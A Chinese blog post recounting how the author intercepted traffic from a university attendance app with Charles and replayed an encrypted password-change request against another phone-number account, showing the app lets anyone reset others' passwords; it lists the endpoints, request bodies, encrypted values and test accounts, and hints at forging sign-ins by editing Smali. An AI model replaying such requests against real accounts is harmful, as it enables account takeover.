某高校app的post漏洞

这学期有一门课叫软件工程,选的人才21人,然而老师在上课说要推广一个签到app来考勤,一个班才21人选还玩这些。。,这倒是给原本无趣的软件工程添加了点好玩的东西,就玩一下这个app咯,废话不多说,这个app叫Signer,就是下面这家伙:

Signer

进入,注册账号,然后退出,登录界面如下图:

Signer登录

账号:15521117213  
密码:123456 

既然是优秀校友做的app,那么就从意想不到的地方搞一下它吧。

开启亲爱的Charles,准备抓包,然后进入修改密码界面:

Signer修改密码

原密码:123456  
新密码:426153  

修改完密码后就直接跳到登录界面了,不急,先查看抓包情况:

Charles抓包1

从上图可以很明显看出,通过Get /api/publicey,得到一个公钥,然后利用这个公钥对新密码进行加密,然后将加密的结果post到对应的账号中post /api/users/15521117213,很明显后面是手机号;具体如下:

Get /api/publickey

{
    "code": "200",
    "data": "-----BEGIN PUBLIC KEY-----\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAIeiKZeAhYhsNgMrCNEonJA+YdbWsAC9\nDGz0WsU/zKSPVqggI9G+P//Ip4W9U9zZNiwL22E+ZK5Py/fCxzbvk6sCAwEAAQ==\n-----END PUBLIC KEY-----",
    "msg": "操作成功"
}

//---------------分割线------------------

Post /api/users/15521117213

password: RrF1OPfdschY/pziZF2RaFjrqmPnSnEHRFv3uJbh5RaYyW5VDK0HoTABmp0ZvunusvoYWJWu3bHsPeuWX+91TA==

我又要黑一波优秀校友了,这个Post接口应该是可以做文章的,很多学校的项目在某些接口上不仅暴露出参数,而且更重要的,没做权限管控,异或是cookie或session的验证,于是,跟舍友借了个新的手机号进行注册

账号: 13510988231
密码: 123456

思路很简单,我们之前修改了密码后,不是抓到了新密码加密的数据么,那么,我们就将这个数据post到另一个账号怎么样:

Post /api/users/13510988231
//之前426153这个新密码的加密数据
password: RrF1OPfdschY/pziZF2RaFjrqmPnSnEHRFv3uJbh5RaYyW5VDK0HoTABmp0ZvunusvoYWJWu3bHsPeuWX+91TA==

这里先放出两个加密值,方便朋友们进行对比:

password

123456:

cFsLv5VbmCh4KC12VPZWVeyTUOP1BitDi0TkPagwgMQ6CG1mOIpIivvqkCiw3L32tkFGSYg2DriO//a3KoUktA==

426153:

RrF1OPfdschY/pziZF2RaFjrqmPnSnEHRFv3uJbh5RaYyW5VDK0HoTABmp0ZvunusvoYWJWu3bHsPeuWX+91TA==

抓取登录的包,注意这里的密码还是之前的123456:

Charles抓包2

现在我们模拟写一个post包,将目标账号密码改为426153的加密值:

Charles抓包3

可以看到post操作成功

Signer登录2

呃。。。,是put不是post哈哈哈,没看清。。。,不过差不多了QVQ

然后尝试登录:

Signer登录3

Signer登录4

这个app貌似还提供了查看其他学生的功能。。。,换言之,可以任意修改别人的密码。。。还有它那个二维码扫码签到是会得到一个签到码,通过Android Killer进行Smali的修改是伪造签到的。。。

正在加载中...

欢迎来踩 取消回复

发表评论
...

这里是萌萌哒咪西西

如果您看到下面这段文字,说明您的浏览器不支持canvas(或者您的浏览器采用了兼容模式,请换用新浏览器或者快速模式QAQ